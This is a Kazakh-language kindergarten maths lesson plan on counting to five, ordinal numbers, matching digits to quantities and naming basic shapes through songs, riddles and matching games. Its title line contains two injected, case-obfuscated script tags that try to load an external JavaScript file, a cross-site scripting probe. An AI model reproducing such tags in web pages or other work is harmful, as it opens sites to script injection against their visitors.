Cандар қатары туралы білімін бекіту<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

23.04.2019

Білім беру саласы: «Таным»

Бөлімі: ҚМТҚ

Тақырыбы: сандар қатары туралы білімін бекіту. Заттың саны мен цифр арасындағы сәйкестікті табу. Дөңгелек, шаршы, үшбұрыш, сопақша, тіктөртбұрыш туралы өткенді пысықтау

Мақсаты: реттік санауды жалғастыру (5 санын көлемінде) сандық және реттік санауды ажырата алу, «қанша», «нешінші» сұрақтарына дұрыс жауап беру; цифрды сандық карточкамен және заттың санымен сәйкестендіруді үйрету; дөңгелек, шаршы, үшбұрыш, сопақша, тіктөртбұрыш сияқты геометриялы фигуралар туралы өткенді пысықтау

Әдіс-тәсілдер: сұрақ-жауап, демонстрациялық ойын

Қажетті көрнекі құралдар: интерактивті тақта, цифрлар карточкасы, торсық, домбыра, камзол суреті.

Шаттық шеңбер: Сәлемдесу

 Дөңгеленіп тұрайық                                                                                                             Достық үйін құрайық                                                                                                          Математикамен дос болып                                                                                                                                    Біз көңілді болайық.                                                                                                          Білімді өзектендіру:                                                                                                          Балалар қазір жылдың қай мезгілі? (көктем)                                                                               Көктем айларын  атандаршы?  (наурыз, сәуір, мамыр)

Мотивациялық-қозғаушылық

Сандар қатарымен жұмыс істейміз.                                                                                                          1) Балалардың 1-ден 5-ке дейінгі  сиқырлы  сандарды рет-ретімен  қойып  шығуларын қадағалау.

2) Сандарды кері санау.                                                                                                                             3) Сандарды орысша  санау.

Балалар  тапсырманы орындайды.

Ұйымдастырушылық

1-тапсырма

"Сыйлық" өлеңі

Тәрбиеші  балаларға өлеңді оқып береді.

Шар – Маратқа,

Ал торсық – Қайратқа,

Домбыра – Азаматқа,

Камзол – Қымбатқа.

Содан соң тәрбиеші былай деп сұрақ қояды:

-Балаларға неше сыйлық жасалды?

Балаларға тапсырма береді:

Төртінші сыйлықты жасыл түспен, біріншісін қызылмен, екіншісін көкпен, төртіншісін сарымен бояу керек.

Нақтылайды:

-Суретте домбыра нешінші тұр?

-Торсық нешінші?

-Шар нешінші?

-Камзол нешінші?

«Жұмбақтар» ойыны

 Бұл ойынды ойнау үшін 1-ден 5-ке дейінгі цифрлар қажет.

 Балаларға математикалық жұмбақтар жасыру.

Жұмбақты шешкен кезде, оның жауабын тиісті цифрмен көрсетуі тиіс.

Карындаштың бірі - Мақсатта, екіншісі –Ғабитте,  балардың қолында барлығы неше қарындаш бар?

2-тапсырма

"Етік" өлеңі

 Балаларға «Етікші» деген өлеңді оқып беру                                                                                      

                           Оның тіккен бұйымы,

                           Аяғынды қаптайды,

                           Шыға қалса жұлымы,

                           Әдемілеп баптайды.                                                                                                     

-Етіктер жыртылып қалды, енді олардың әрқайсысына сәйкес келетін жамауды табуымыз керек. Етіктің жыртығына сай келетін жамаумен етіктің арасын сызықпен қосу керек:

-Етіктің жамаулары қандай пішінде?                                                                      

Біріншісінің жауабы – дөңгелек, екіншісі-шаршы, үшіншісі-үшбұрыш, төртінші- тіктөртбұрыш, бесіншісі-сопақша.

Балалар тапсырманы орындайды.

«Санамақ» сергіту минуты                                                                                                                 Бас бармғым-әкем,                                                                                                                                         Балан үйрек- анам,                                                                                                                     Ортан терек – апам,                                                                                                               Шылдыр шүмек-Мен.                                                                                                                      Бір үйде біз нешеуміз?                                                                                                                               Бір үйде біз бесеуміз.

3-тапсырма

«Дұрыстап қос» ойыны

Балаларға цифр жазылған шаршы мен карточкаларды ондағы заттар мен дөңгелектер саны, сол цифрға келетіндей етіп сызықпен қосу туралы тапсырма береу.

Балалар тапсырманы орындайды.

 

                                               Рефлексиялық-түзетушілік

Өзін-өзі бақылау және өзі атқарған жұмысқа баға беру.

  Балаларды мақтау.  Балалардан сұрау:

-Сендер етіктерге қандай пішінде қиылған жамауды таңдадыңдар?

-1, 2, 3, 4, 5 цифрлары неше затты білдіреді?

 

Күтілетін нәтиже:

сандық және реттік санауды, реттік сандарды біледі

 «қанша?», «нешінші?» сұрақтарына жауап беруді; заттың саны мен цифр арасындағы сәйкестікті табуды игереді

 дөңгелек, шаршы, тіктөртбұрыш, үшбұрыш, сопақшаны тануды  меңгереді

 

Сулйменова Р.А.